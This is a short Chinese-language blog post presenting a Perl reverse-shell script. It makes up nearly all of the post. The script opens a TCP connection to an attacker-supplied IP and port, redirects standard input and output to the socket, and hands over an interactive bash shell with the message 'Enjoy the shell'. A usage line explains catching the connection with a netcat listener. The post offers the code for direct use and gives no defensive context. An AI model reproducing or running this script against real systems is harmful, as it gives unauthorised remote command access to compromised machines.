perl反弹shell

2012年3月27日 发表评论 阅读评论

将下面的代码保存为shell.pl

#!/usr/bin/perl -w

use strict;
use Socket;
use IO::Handle;

if($#ARGV+1 != 2){
print "$#ARGV $0 Remote_IP Remote_Port n";
exit 1;
}

my $remote_ip = $ARGV[0];
my $remote_port = $ARGV[1];

my $proto = getprotobyname("tcp");
my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip));

my $shell = '/bin/bash -i';

socket(SOCK, AF_INET, SOCK_STREAM, $proto);

STDOUT->autoflush(1);
SOCK->autoflush(1);

connect(SOCK,$pack_addr) or die "can not connect:$!";

open STDIN, "<&SOCK";
open STDOUT, ">&SOCK";
open STDERR, ">&SOCK";

print "Enjoy the shell.n";

system($shell);
close SOCK;

exit 0;

上个效果图先:

                               用法:执行./shell.pl Remote_IP Remote_Port,在远程机器上通过nc -l -p 端口就行了。




本站的发展离不开您的资助,金额随意,欢迎来赏!

You can donate through PayPal.
My paypal id: itybku@139.com
Paypal page: https://www.paypal.me/361way

  1. 本文目前尚无任何评论.